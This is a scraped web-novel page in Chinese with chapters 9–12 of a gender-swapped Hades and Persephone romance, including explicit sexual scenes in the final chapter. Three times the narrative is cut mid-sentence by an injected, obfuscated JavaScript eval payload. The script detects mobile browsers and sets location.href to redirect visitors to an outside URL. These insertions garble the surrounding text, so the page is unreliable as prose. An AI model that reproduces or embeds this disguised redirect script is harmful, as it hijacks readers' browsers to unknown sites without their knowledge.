意..迷中,哈蒂丝抚摸着珀瑟福那被打上她之印记的脸庞,无奈地对上了这双吸引自己沉沦的翠绿色眼眸。 它们似乎闪烁着璀璨的光芒,清澈而又湿润,从中清晰可见她自己。 “有什么区别吗?”哈蒂丝回应道,“算了,就这样吧。” 于是这自学成才的小鬼喜笑颜开,next欢愉将临。 下回。 哈蒂丝心想着。 希望他还笑得出来。 …… 做了个很温暖的梦,梦里她来到未知的领域,在阳光下遇见了正躺在花海中发呆的小男孩。 他遥望着天空,好似思绪已经飘远。 直至被她带来的阴影覆盖后,那双翠绿色的眼睛在黑暗里眨了几下,从光亮中映出她的模样。 “您好。”小春神遥望着冥王陛下,仿佛其就是自己的全部,“您终于愿意来见我了吗?哈蒂丝姐姐。” 这一次,他从束缚自己的摇篮中站起身来,毫不犹豫地伸手拥抱住了她,把自己埋进那幻想了无数次的怀中。 刚出生时他亲眼见她后,就再也无法忘记。 连母亲都感到不解,这莫名其妙的一见钟情究竟因何而起? 但爱哪里需要什么必定的理由呢? 珀瑟福困惑过,恐惧过,却从未后悔过。 他想要永远留在哈蒂丝身边。 所以,便让这无与伦比的美梦继续下去吧!无尽不止。 …… 好消息,也是对某些神来说的坏消息——冥界终究是迎来了匪夷所思的改变。 忒弥斯、赫卡忒与厄里斯是最后那批听闻哈蒂丝跟珀瑟福结为情侣的神祇,一向热爱到处传八卦的赫尔墨斯这回收敛了性子,有意要让消息传速变得缓慢。 一是因为忒弥斯和赫卡忒好像不太支持冥王与春神的恋情;二是因为厄里斯也是个众所周知的大嘴巴,而她跟前面那两位关系很好。 得知那消息的起因是春神这两天在冥界整活太多,吸引了三位女神的注意。 比如冥王宫周边莫名出现的花海,也比如冥河上那用藤蔓编织的花桥,还比如地狱三头犬脖子上带有铃铛的花环。 就连真理田园的审判庭也未能幸免于难,身为冥府判官的埃阿科斯、米诺斯和拉达曼迪斯已经黑脸了好几天,原因是珀瑟福被哈蒂丝派来辅助他们工作,而他却把这里种满了那些该死的花朵。 虽然美少年被鲜花环绕的场景很养眼,可审判庭本该庄严肃穆,他不应该待在这里。 米诺斯:“喂。” 珀瑟福:“干嘛?” 米诺斯扶着额头,不耐烦地瞪着正面色冷若冰霜的春神。 真是离谱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929139|192031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至极,他居然觉得他冷脸的模样也很好看,难怪陛下会色令智昏。 “你在外面种花就算了,有必要把花种到这里来吗?”米诺斯语气强硬地指责道,就算春神实在貌美,他也坚决不会心软,“它们除了惹我心烦外毫无作用,赶快除掉!” 埃阿科斯和拉达曼迪斯立即跟团。 “真是小儿科的手段,也不知道陛下为何会同意你留在这里。” “奥林匹斯圣山那一套放在我们冥界没用,这里是审判庭,不是宴会舞厅!” 啧,吵死了。 珀瑟福躲开一个偷摸上来的人类亡灵,眼神冷冽地看向高台之上的判官们。 如果没记错的话,这三个男的都是宙斯的儿子,曾作为半神而死,后来被哈蒂丝提拔为冥府判官。 “毫无作用?”珀瑟福放下记载着密密麻麻罪恶的卷轴,脸上没有任何表情,“它们可不是普通的花,有罪者会更快承认罪行,无罪者会感到死而无憾。” 明明他令审判庭的工作效率变好了许多,而他们却厌恶他留在这里。 拉达曼迪斯不屑地嗤笑道:“那又如何?这里不欢迎你,小子。” 埃阿科斯倒是没再说话,只是眼中深含嘲讽。 那真是太碍眼了。 珀瑟福眯眼,寒意从中散出。 如果不是哈蒂丝姐姐希望他能真正融入冥界的生活,这群蠢货真以为他愿意待在这里陪他们? 而且,他们讨厌他们自己的生父宙斯就算了,干嘛把纷争牵扯到无辜的他身上? 说纷争,纷争就到了。 “哇!你俩输了!”厄里斯笑嘻嘻的声音从审判庭外传来,“赫卡忒,忒弥斯,看来咱们的陛下这回确实动真心了诶~” 那句带着意味深长的言语使珀瑟福本能地心生不祥预感。 他想起了曾经听说过的某个传闻,嘴角扯了扯。 与此同时,冥界大门口,神使正苦着脸给刻耳柏洛斯喂食腐肉——这是不久前冥王陛下给他的惩罚,因为他曾到处乱传她要跟珀瑟福结婚。 可恶啊,那也算不上是乱传嘛,毕竟这对都成情侣了,肯定离结婚也不远了啊! 忽然,有谁靠近而来。 带着曾在谁那有过的熟悉气息。 “久违了,神使阁下。” 连这柔和的、醇厚动听的声音都是如此熟悉。 赫尔墨斯愣了一下,双手的喂食动作顿住,错愕地抬头望去。 明塔!真的是他! 可他怎么会……在这里? 赫尔墨斯分明记得这位应该正在塔尔塔洛斯才对。 10.第十章 赫尔墨斯手里还未喂完的腐肉啪嗒一声掉在地上,顿时,刻耳柏洛斯的三个脑袋不满地低吼起来。 “噢,抱歉,乖狗狗。”赫尔墨斯边安抚着刻耳柏洛斯,边惊异地打量着来到自己身边的哭河之子,“好久不见,明塔,你不是在塔尔塔洛斯服侍瑞亚女神吗?怎么出来了?” 而且,这是在冥界大门口。 看来他是早已离开了塔尔塔洛斯,刚从外面的世界回来。 赫尔墨斯忍不住猜测明塔是否去过奥林匹斯圣山或者克里特岛,因为极有可能是瑞亚女神使唤其去找宙斯或者盖亚。 就是不知道……冥王陛下知晓吗? 与此同时,明塔动作优雅地拂了拂身上并不存在的灰尘,仿佛苦恼于刚刚进行了一次长途旅行。 “瑞亚殿下让我出来办点事。”明塔说道,目光却越过赫尔墨斯,投向大门后方,“顺便,”他笑了笑,继续说:“来看看哈蒂丝。” 哭河之子体型修长,穿着一身朴素的米白色长袍,深褐色长发用简单的头绳束在脑后,五官温润柔和,看起来就像个来自凡间的吟游诗人。 可那句“来看看哈蒂丝”说得轻描淡写,却令赫尔墨斯背后寒毛都竖起来了。 糟糕!太糟糕了! 赫尔墨斯虽然天天吊儿郎当,但头脑机灵、眼光毒辣,几千年前就察觉到了明塔绝对暗恋冥王陛下,而瑞亚女神还一直觉得明塔比谁都适合对方,甚至想要撮合他俩。 这事儿以前在奥林匹斯传过一阵子,后来被压了下去,让一众八卦的神失望了许久。 现在明塔从塔尔塔洛斯出来,正好撞上哈蒂丝和珀瑟福正式确定关系……哇,感觉又有热闹可以看了! 不过,毕竟他是支持哈蒂丝和珀瑟福在一起的,还是要偏心一些。 总之可恶的珀瑟福这下又得欠他一个情份了! “嘿,你去办的什么事啊?”赫尔墨斯笑着挡在明塔面前,“你看,冥界最近挺忙的,哈蒂丝陛下可能没空见客——” “我只是送个东西。”明塔温和地打断了赫尔墨斯,从怀中取出一个外观精致的木盒,“瑞亚殿下给哈蒂丝准备的礼物,庆祝她终于开窍了。” 难道连待在塔尔塔洛斯几千年都未出来的瑞亚女神也知晓那事了吗? 赫尔墨斯嘴角抽搐:“开、开窍?” 明塔点头:“瑞亚殿下说哈蒂丝最近交了个小朋友,很为她高兴。” 这句话里的信息量简直爆炸,瑞亚女神不但知道珀瑟福的事,还用‘小朋友’这种称呼……这态度很微妙啊! “这种小事就不麻烦你了,你还得回去塔尔塔洛斯,不如由我来帮你转交这个礼物吧!”赫尔墨斯伸手就想拿过那个木盒。 明塔轻巧地侧身避开,银灰色的狭长眼眸斜瞥了一眼刻耳柏洛斯脖颈上的花环。 “不必麻烦神使阁下了,我亲自去。” “毕竟我也很久没见哈蒂丝了。” 他说着就迈步朝冥王宫走去。 赫尔墨斯急得直跳脚,赶紧给刻耳柏洛斯使眼色——快阻止他!你可是冥府的看门犬啊! 然而,刻耳柏洛斯的六只眼睛眨了眨,三个脑袋同时扭开,假装看风景。 开玩笑,明塔可是瑞亚女神的亲信,而且也是冥神,它才不想惹麻烦呢,更何况它本就看珀瑟福不顺眼! “你这个小叛徒!” 赫尔墨斯无奈地摇了摇头,只能眼睁睁地看着明塔施施然走进冥界大门。 冥王宫寝殿内,哈蒂丝一觉睡醒,正试图把那些过于活泼的藤蔓从床柱上解下来。 自从那夜哈蒂丝与珀瑟福爽完之后,这些藤蔓就长得满屋子都是,甚至有些还开出了小花。 现在她的寝殿看起来像是被什么植物系怪物袭击过,空气里还飘着甜腻的花香。 “啧,这小子……” 哈蒂丝揉了揉还有些酸痛的腰,决定等会儿就去审判庭视察一番,顺便让珀瑟福把这些藤蔓收拾干净。 她刚换好衣服从更衣室出来后,就听到了从寝殿外传来的敲门声。 “陛下,有急事。”是修普诺斯。 什么急事? 哈蒂丝动了动手指,寝殿门扉便自动打开了。 睡神顶着乱糟糟的金发,边打着哈欠,边跟哈蒂丝打了个招呼,身后的羽翼懒散地扇动了两下,一副刚睡醒的模样。 “你应该没偷懒吧?”哈蒂丝凉凉地说了一句。 “当然没有,尊敬的陛下,给我十个胆子也不敢玩忽职守。”修普诺斯双手环胸靠在门框上,慵懒地把那件急事报了出来:“明塔来了。” 哈蒂丝正在整理袖口,闻言顿住。 “谁?” “明塔,瑞亚女神的侍从。陛下您刚睡醒吗?”修普诺斯摇了摇头,“他从塔尔塔洛斯出来了,还带着一份礼物。” 嗯,她还真是刚睡醒。 不过明塔……好像有三千年没见到了吧。 哈蒂丝沉默了五秒。 然后她冷静地说:“关门闭客,就说我睡着了。” 这理由也不是不行,反正她经常长眠,而她这时并不想面见明塔。 原因有太多了。 “已经来不及了,陛下。”塔纳托斯从修普诺斯身后走出,“明塔已经在庭院了,卡喀亚正缠着他聊天呢。” 卡喀亚象征着堕落和恶德,跟厄里斯同样是双子神的姐妹,出身于倪克斯与厄瑞玻斯的家族。 凑巧的是,这位女神也喜欢看乐子。 并且,明塔怎么突然离开塔尔塔洛斯了?是母亲有事嘱咐他的吗? 哈蒂丝直觉不对劲,蹙了蹙眉:“我母亲让他来的?” 塔纳托斯:“对。” 修普诺斯:“那礼物也是瑞亚殿下给的。” “……”回想起过去的某些事情,哈蒂丝感觉麻烦将临,有些头疼,“珀瑟福还在审判庭?” “估计珀瑟福现在也在跟米诺斯他们吵架。”塔纳托斯紧绷着一张脸,实则是在憋笑。 其实埃阿科斯和拉达曼迪斯昨天就跑来告状了,说是那小子在审判庭种的花比爱丽舍乐园还茂盛,米诺斯还气得想把他扔进科库托斯河。 “让他们继续吵吧。”哈蒂丝面无表情,“假如珀瑟福和明塔没碰面,那就暂时别告诉他明塔来了。” 修普诺斯挑眉:“陛下,您这是……” “避免不必要的麻烦。”哈蒂丝眼神冷冽,浑身散发着不怒自威的气息,“我去见明塔,你们俩去看着珀瑟福,以免他突然回来。” 双子神互相交换了一个眼神。 看来陛下这是要单独处理问题啊。 毕竟,谁不知晓明塔对她的心意呢? 冥王宫厅堂内,卡喀亚正围着明塔转圈,美艳的脸庞露着不怀好意的笑容。 “所以瑞亚女神真的知道哈蒂丝和春神的事了?”卡喀亚兴奋地问道,“她什么反应?生气?高兴?有没有说过‘我明明觉得明塔更好’这种话?” 对此,明塔只是温和地倾听着,对卡喀亚那连珠炮似的问题一概以微笑回应。 直到哈蒂丝的身影出现后,他目光移去,那笑的温度才逐渐上升。 “哈蒂丝。”明塔的声音醇厚动听如美酒,带着丝丝怀念,“好久不见。” 哈蒂丝没有去往自己那高阶之上的宝座,而是走到明塔这边,却与他隔开了一些距离。 她颔首:“好久不见,母亲让你来的?” “是。”明塔越过依然坏笑着的卡喀亚,向哈蒂丝递上木盒,“瑞亚殿下听说了最近的一些事情,特意准备了这个。” “她有话带给我吗?”哈蒂丝接过木盒,只是扫了一眼,没有立即打开。 闻言,明塔唇边噙起的笑意未变:“她说你总是孤僻封闭,现在终于愿意让‘阳光’照进来了,她很欣慰。” 这话说得很有水平,既表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938599|192031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 达了瑞亚知道珀瑟福的事,又暗指‘阳光’只是暂时的,还可能暗示冥界秩序不该被扰乱。 哈蒂丝在此时打开了木盒,里面装着一对材料取自黑曜石的耳坠,雕刻成彼岸花的形状,边缘镶着细碎的银水晶。 “很适合你。”明塔补充道,态度还是很温和,“它就像我的眼睛。” 听到这话,卡喀亚在旁边倒吸了一口凉气,用手捂住嘴,愈发觉得跑来这里凑热闹是个明智的决定。 而站在不远处的双子神则是静观其变,暗暗打量那两位旧相识的表情。 是的,哈蒂丝与明塔在很早以前就认识,甚至关系极为要好。 当初她与姐妹弟弟们一起推翻克洛诺斯的统治时,他就站在她这边。 哈蒂丝面不改色地合上木盒:“替我谢谢母亲,顺便代我跟她说……”她想了想,意味深长地看着明塔,“这里的一切都属于我,规则自然由我制定。” 纵使知道哈蒂丝话里有话,明塔也坦然自若道:“好,我会如实转达的。” 然后,他的微笑也增添了点儿意味深长。 “不过我会在这里多留几天,瑞亚殿下还给我指派了其它任务。” 母亲到底想干什么? 哈蒂丝沉思着。 “什么任务?”她不禁蹙眉,语气变得强硬起来,“告诉我,明塔。” 这里可是她的冥界,她不允许有任何超出自己掌控范围的事情发生。 明塔自然清楚哈蒂丝的脾性,却摆出一副无能为力的表情:“抱歉,目前来说这是个秘密,但它不会对冥界产生影响。” 啧,正因如此她才会与他愈走愈远。 就连母亲也…… 哈蒂丝没再继续想下去,因为没什么必要,现在早已不是从前。 “让修普诺斯给你安排住处。”哈蒂丝转身准备离开,“记住你说的话,明塔。” 她言语时特意加重了‘记住’这两个字。 明塔躬身行礼:“是。” 他一向最守规矩。 所以,才会让那春神有机可乘。 哈蒂丝走远后,卡喀亚立刻凑了上来:“你还真是不负我的期待,明塔,几千年不见你攻势变猛了啊!不过现在陛下身边可有个不好惹的小家伙,你有没有看到那些花?全都是他种的!” 明塔还是微笑道:“花嘛,总是会谢的。” 真正适合冥界的,应该是永不失去光彩的宝石。 那话传入了正走向出口的哈蒂丝耳中,她原本不想理睬,然而春神的声音却倏地出现。 “哦?是嘛?” 哈蒂丝停下脚步,转头望去。 珀瑟福大步流星地走进,直接撞上了明塔的肩膀,冷漠的神情令他的美貌不减反增,犹如一朵高岭之花。 “我当是谁,原来竟蒙尘至此。” 那仿佛不经意间瞥过去的目光带着审视与轻蔑。 他明明带着满腔恶意而来,可在转眸看向她时,温柔可爱的春神又重新回归。 “哈蒂丝姐姐!” 声音从冰冷转化为甜腻只需要瞬间。 春神一如既往地穿着和哈蒂丝同款的黑袍,浅金色卷发随意披散,浑身上下都散发着‘我昨晚睡得很好而且过得很滋润’的气息。 他径直走到她身边,相当自然地伸手揽去,在其脸颊上亲了一下。 “亲爱的……你找我?” 珀瑟福亲昵地紧贴着哈蒂丝,眼角余光却嘲讽地扫向正看过来的哭河之子。 那分明就是在光明正大地挑衅。 哈蒂丝:“……” 这小子绝对是故意的。 而且,他怎么就恰巧在此时回来了? 背景板三神:“哇哦。” 双子神识趣地知道这下他们是不用去拦着珀瑟福了,因为人家自己找来了。 要是天上和海里的那些朋友们在这里的话,现在肯定会更热闹的吧! 11.第十一章 春神这明目张胆的挑衅行为令在场诸位都有些讶异,尤其是哈蒂丝。 她抬眼看向明塔,后者依然保持着温和的微笑,只是那银灰色的眼眸里闪过一丝微不可察的暗光。 明塔会因为珀瑟福刚刚口出狂言的冒犯而生气吗? 但其早已戴惯了面具。 “我可没找你。”哈蒂丝抬手拍了拍珀瑟福搭在她肩上的手背,动作自然得像是在掸灰尘,“听说审判庭的花长得比爱丽舍的还茂盛?” 原本哈蒂丝不想让珀瑟福那么快就知道明塔的到来,可既然事情已经发生了,那也便没有了非要遮遮掩掩的必要。 毕竟既然已经确定了关系,她迟早都是会告诉他那些事情的。 珀瑟福立刻换上一副委屈又乖巧的表情:“千万别听那几个家伙的告状,米诺斯他们根本就不懂什么才是更好的!” 他认真地凝视着她带着审视的眼神。 “我保证,那些花真的能提高审判庭的工作效率,拉达曼迪斯今天审问那个杀妻的亡灵时,那家伙在诚实兰旁边哭了好久,不到三十秒就全招了。” 听闻这话,卡喀亚噗嗤一声笑了出来,乐呵呵道:“诚实兰?你起的名字?” “当然。”珀瑟福扬了扬下巴,眼睛亮晶晶的,还是只看着哈蒂丝,“这名字好听吧?哈蒂丝姐姐觉得呢?” 说来奇怪,在明塔来了之后,珀瑟福又开始叫哈蒂丝姐姐了。 那明显就是故意显露的与她亲昵之态,以及因此而如玫瑰花般盛放的占有欲,很像是这种新生的小家伙的风格。 哈蒂丝点了点头:“好听,很可爱。” 是吗? 明塔温和地插话道:“确实可爱,看来春神阁下的创意为冥界带来了别样的生机。” 他顿了顿,目光落在珀瑟福揽着哈蒂丝的手臂上,笑容不变。 “不过冥界终究是亡者之地,有时,过于蓬勃的生命力反而会打搅永恒的宁静。” 永恒的宁静——这曾是哈蒂丝的最爱。 哭河之子话说得礼貌,却绵里藏针,果真又是一个碍眼的家伙。 珀瑟福立刻转头,脸上那点儿仅剩的乖巧瞬间收得干干净净,只剩下冰冷的蔑视。 “哦?打搅宁静?” 他勾起嘴角,扯出的却是延续之前恶意的假笑。 “我怎么觉得,某些几千年没露面、一出现就开始评价别人劳动成果的家伙,才更算是一种打扰呢?” 气氛就这样紧绷起来。 修普诺斯夸张地张大嘴巴,促狭道:“哎呀,突然好困,塔纳托斯,我们是不是该去数钱了?” 塔纳托斯面无表情:“数什么钱?你半个小时前才睡醒。” 嗯?半个小时前才睡醒?所以修普诺斯真偷懒了? 哈蒂丝眼神危险地瞥过去。 “陛下,在睡着前我做完了该完成的事情。”修普诺斯顶着上司的威压,翅膀一抖,语气竟带上了几丝委屈。 珀瑟福:“?” 这家伙在干什么呢?学他的经典招式是吗? 塔纳托斯倒是没抖翅膀,只是明显一副绷不住了的表情。 “我说,哥哥。”死神眼神复杂地看过去,“你不会被传染了来自某个家伙的病毒吧?” 珀瑟福现在连假笑也没有了:“你俩最好注意一些,倪克斯之子。” 双子神异口同声道:“哦。” 哈蒂丝:“……” 为什么她会有这样幼稚的情侣和下属? 冥界有他们真是福气。 这时,卡喀亚找了把椅子舒舒服服地坐下,顺手从果盘里拿了颗冥石榴,一副要痛痛快快地看好戏的架势。 “加油~”恶德女神笑眯眯地朝诸位挥了挥手,“你们几个我都看好喔!” 这家伙在说什么呢? 哈蒂丝觉得自己的头和胃都开始疼了。 “珀瑟福,不准无礼。”她说道。 他定会清楚她之所指是什么。 明塔是深受她母亲信任的侍从,德墨忒尔肯定跟他讲过。 事实上,的确如此。 珀瑟福撇了撇嘴,不情不愿地应了一声,但手臂丝毫没有松开,反而搂得更紧了些。 他还故意侧头对哈蒂丝耳语,声音却足够让在场所有神祇听见:“姐姐,你寝殿里那些藤蔓我待会儿就去收拾。” 然后,他才真正压低声音。 “不过我记得你一直都很喜欢它们,亲爱的,真的要全部都清理掉吗?”珀瑟福选择把这句话当做真正的悄悄话,半真半假地询问哈蒂丝。 哈蒂丝镇定自若,实则耳尖泛红。 真是…… 即便在场诸位只能听见春神的前面那段话,可其与冥王之间的暧昧氛围,长眼的都能看出来。 又是孩子气似的宣示主权行为。 卡喀亚呛了一口石榴籽,双子神继续哇哦。 而明塔脸上的笑容终于淡了几分。 氛围越来越奇怪了。 哈蒂丝感到额角青筋微跳,眼神暗沉,内心多了一些无奈。 珀瑟福这家伙绝对还是故意的。 他就这么看不惯明塔吗? “全部清理。”哈蒂丝斩钉截铁,随即把话题拉回正轨:“修普诺斯,带明塔去偏殿收拾宿处。” “是,陛下。”修普诺斯来到明塔身边,做了个‘请’的手势。 毕竟他们家陛下这是不想再继续接待这位贵宾了。 身为哈蒂丝的旧相识,明塔自然也非常清楚她已经感到不耐烦了。 他没有立刻就离开,而是目光掠过珀瑟福,重新看向她:“许久未见,这里似乎变了许多,哈蒂丝。” “嗯。”哈蒂丝淡然道,“还好。” 珀瑟福不再假笑,而是冷哼一声,讽刺地说:“阁下几千年没来,可别走错路了。” 见状,哈蒂丝轻飘飘地瞥了珀瑟福一眼,他顿时耷拉下脑袋,展现变脸神技。 虽然那哭河之子很讨厌,但毕竟她才刚警告过他。 “对不起。”珀瑟福识趣地向哈蒂丝认错了,“我错了,下次绝对改。” ——下次绝对不在她面前找某神的麻烦。 这一幕落在某神眼里,也是理所当然地引起了其的厌恶之心。 珀瑟福在讽刺什么?真以为他有了哈蒂丝的宠爱,就可以在冥王宫耀武扬威? “过虑了,春神阁下。”明塔说道,眼睛直勾勾地盯着珀瑟福,尤其是其那只一直搭在哈蒂丝身上的手,“毕竟我可不是初来乍到者。” 初来乍到?哈,就只会耍这点儿嘴皮子啊! “那可真是抱歉了,我这个真正的初来乍到者倒是在哈蒂丝姐姐家住下了。”珀瑟福挑眉,直接认领了明塔的回击,然后恶意不减地增添了一句:“而且还不是在偏殿噢。” 闻言,明塔眯眸,轻轻地哼笑了一声。 “好吧。”哭河之子道,“恭喜你啊,春神阁下。” 珀瑟福也笑了:“谢谢。你应该是真心的吧?” 于是明塔笑而不语。 …… ……啧啧,真是精彩的剑拔弩张啊。 卡喀亚坐不住了,差点就当场为这正在进行没有硝烟的战争的两位呐喊助威起来。 塔纳托斯从卡喀亚手中拿了一颗冥石榴,跟她一起边吃边看起戏来。 修普诺斯也挺想继续看戏的,可看哈蒂丝那皱起的眉头,他立马拍了拍明塔的肩膀,实意对方跟自己离开。 这次明塔不再去注意哈蒂丝的动静,安静地跟着修普诺斯去往偏殿了。 闹剧似乎就这么结束了。 “什么啊,就这而已吗?”卡喀亚失望地放下冥石榴,“真没意思!” 塔纳托斯舔了舔嘴角,耸肩道:“哪里凉快哪里待着去吧,找厄里斯玩去,别在这叫唤。” “闭嘴,臭弟弟,我看你是三天不打上房揭瓦了!” “哦,然后?还有别的——” “你俩闲得很?”哈蒂丝面无表情道。 卡喀亚连忙从椅子上蹦起来:“错了陛下,我马上就走!” “陛下回见!”塔纳托斯也连忙扇动翅膀飞离冥王宫,生怕跟赫尔墨斯一样受罚。 瞬间,偌大的厅堂内只剩下冥王和春神。 春神目不转睛地看着冥王,歪头:“所以,我们接下来该做什么?” 冥王想了想,回答:“回寝殿。” “好。”珀瑟福不知想到了什么奇怪的事情,笑得很高兴,眼中隐隐闪过兴奋,“那,我的那些藤蔓……” “就是清理那些藤蔓。”哈蒂丝毫不留情地打破了他的幻想,“才说过的,全都忘了?” 所以回寝殿就是为了干这事? 珀瑟福有些失望。 不过只要回想起她在明塔那个不怀好意者的面前纵容了他,失望之情瞬间就烟消云散了。 即便在回冥王宫的路上,厄里斯告诉了他某些过去的事情。 那些往事与哈蒂丝和明塔相关。 在珀瑟福出生以前。 而前方还传来了她为他等待的声音。 “跟上,珀瑟福。” “来了,哈蒂丝!” 他又不再称呼她为姐姐了。 回到寝殿后,哈蒂丝刚关上门,珀瑟福就从背后抱了上来。 他下巴搁在她肩头,声音有些闷闷的:“那家伙看你的眼神不对劲。” ……这算是迟来的求安慰吗? “他为我母亲做事。”哈蒂丝试图掰开珀瑟福的手,没成功,便就随他去了,“也是我的老朋友。” 其实她是故意说出后面那句话的。 没错,就是想逗逗他。 “老·朋·友。”珀瑟福把这几个字在齿间磨了磨,哼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哈蒂丝回眸看了看珀瑟福,见他眼尾上扬,眸底泛着点点暗光。 “因为这里面有我父亲的血。”她坦诚道,“我憎恨父亲,但我爱我母亲。” 所以哈蒂丝接受了这份别有深意的礼物。 曾经瑞亚无力挣扎克洛诺斯残害他们的孩子,现在她却变成了他,将掌控欲施加在孩子身上。 就连最受瑞亚宠爱的宙斯都受不了,多次向兄姐们抱怨其总是过于操心。 在拥有冥界之后,哈蒂丝将这里当作自己的净土,想要远离那些如影随形的纷扰,但瑞亚随她来到了冥界,住进了塔尔塔洛斯。 在那地狱深渊里还囚禁着克洛诺斯以及一众泰坦罪神。 哈蒂丝想不通瑞亚怎么会对克洛诺斯念念不忘,她阻止过她,得来的却是对方带着慈悲的叹息。 ——没有我,他会死的。 彼时的瑞亚对哈蒂丝说了这么一句话。 那就是哈蒂丝曾厌恶爱欲的开端。 至于追随瑞亚一起把塔尔塔洛斯囚牢当家的明塔?说实话,哈蒂丝虽然还把他当作挚友,但她早已无法再从他身上找到过去的影子。 所以哈蒂丝一度爱上沉睡,在使冥界秩序走上正轨后便彻底宅在家中,回归了自己懒惰的天性。 直至…… “克洛诺斯的血有什么坏作用吗?” 直至珀瑟福突然闯入她的视线,将她的世界种满了芬芳扑鼻的鲜花。 “它会伤害到你吗?” 哈蒂丝抬眸,望着珀瑟福。 他垂眸,蝶翼般的睫毛打下阴影,令那张白得透明的精致面容隐入黑暗。 唯有注视她的目光充满光明。 “如果这份礼物让你感到不安的话,那就毁掉它吧。”珀瑟福说道,好似是在蛊惑,又好似只是在安慰。 奇怪,难道他知道更多吗?怎么会忽然说出这种莫名其妙的话呢…… 哈蒂丝摇头,指尖轻轻地点了一下那装着母亲心意的木盒。 坚硬的边缘带着点点锋利,如同刀割般被她毫不在意地触碰。 “我并非不安。”哈蒂丝收回了手,视线却还是停留在那份礼物上,“我只是感到不解。” “原来如此。”珀瑟福点头,“那我们要不要再来一次?” “……” 现在哈蒂丝开始怀疑珀瑟福不止是阿佛洛狄忒变的,还被狄奥尼索斯附身了。 “好。”但她却这么回应了他,“这次我要在上面。” “遵命,冥王陛下。” 珀瑟福伸手而来,将她轻柔地抓住。 藤蔓便又开始动弹蔓延了。 12.第十二章 光线阴暗的冥王宫寝殿内,哈蒂丝正坐在珀瑟福月要上,后者操纵着藤蔓,试图编织出一个更复杂的花结。 月匈月甫、腰肢和大腿被缠绕着,她低头看向眼露狡黠的春神,突然觉得这场景有点儿荒谬。 ——冥府女王在自己的领域里,身边服侍着相当擅长把植物当作王元具的春神。 当她坐入更深时,他低笑了两声,然后被她轻轻地掐住了脖颈。 手下触碰到这沉闷的喉咙滚动,宛若生命不歇不止。 他发出了更多令她口干舌燥的动听声音。 “哈啊……” 仿佛是在渴求着还want更多。 “专心点儿。”哈蒂丝边掐着他的脖子,边戳了戳他的额头。 两神的身躯随着胶禾而极速升温,肌肤染红。 那就犹如滚烫的火焰在舌忝舌氏灼烧。 珀瑟福喘息着回应:“我很专心哈啊……你看,这个结可以这样绕,然后——” 藤蔓倏地失去控制,啪嗒一声散开了。 珀瑟福无辜地望向哈蒂丝:“好像是你的神力干扰到我了,亲爱的。” 可是,明明缠绕在她身上的藤蔓没有离开,反而束缚得更紧。 “胡扯。”哈蒂丝俯身,黑发垂落在他脸颊两侧,“是你自己分心了。” “因为你在上面的时候特别好看。”珀瑟福坦诚地承认了,左手自然地扶上她的腰,“我能分心一整天,不,三千年。” 他对这个数字有什么特殊的执念吗? 还是说他依旧在记恨明塔? 哈蒂丝眯起眼睛。 下一秒,整个床铺突然下沉了三寸,寝殿的地板悄无声息地凹陷出一个完美贴合床榻的坑。 珀瑟福深陷其中,行动力受损。 他略显惊讶地看着四周:“这是……” “防止你乱动。”哈蒂丝面无表情地解释道。 冥王对空间的掌控力吗? 珀瑟福愣了两秒,然后笑出声来:“太棒了,要不再来点儿?” 哈蒂丝:“……” 现在她开始怀疑这家伙是不是有什么特殊癖好。 “行啊。”她歪头。 哈蒂丝轻勾嘴角,空着的另一只手按在他的微微起伏的月匈月堂上,藤蔓将她纠缠得更紧,可他却被禁锢于她所创造的空间,连扶她腰肢的左手都在兴奋地颤抖。 方寸之间谁也离不开谁。 “好厉害,感觉像是被姐姐紧紧抱在怀里一样……”他喃喃着,眼睛目不转睛地望着她。 “你的右手呢?”她这么说着,将他的右手抓至自己这边,“再过来一些,珀瑟福,你应该这么做。” “唔……” 鲜花握于掌中,俯身轻尝,甘甜可口的花瓣便在唇齿间绽放。 他被她牢牢地控制在身下,而她却任由藤蔓兴奋地生长,让它们将自己和他包围。 甘泉充斥时,月复微鼓,久久未离。 “叫我亲爱的。”珀瑟福说道,眼神已经迷离,目光依旧紧紧地追随着哈蒂丝,“我们是什么关系呢?亲爱的。” 这并非是往日那般的撒娇。 他在执著地向她追求自己想要的东西。 蜜糖里有真心,裹着谁的良药。 “亲爱的。”哈蒂丝再度俯身,附于那沾染着自己印记的嘴唇和喉结,“贪婪而又勇敢者,我许你伴于我身,永远。” 因为只有他懂得如何取悦她,无论身心,他都令她甘愿沉沦。 至于那纠结已久的结婚…… 哈蒂丝注视着珀瑟福那笑意盈盈的脸庞,它带着红晕,水光闪烁,当亲吻而上时,他便将她融化。 “好喜欢你。”珀瑟福眼含迷恋,“永远跟我在一起吧,亲爱的。” 禁锢就此结束,他却还是甘心在她身下,仰望着那片梦寐以求的美好愿景。 记忆中似乎有个喜欢独自待在花海中的孩子,也曾这么真挚而又诚恳地祈求过她,可那时的她并没有把它当真。 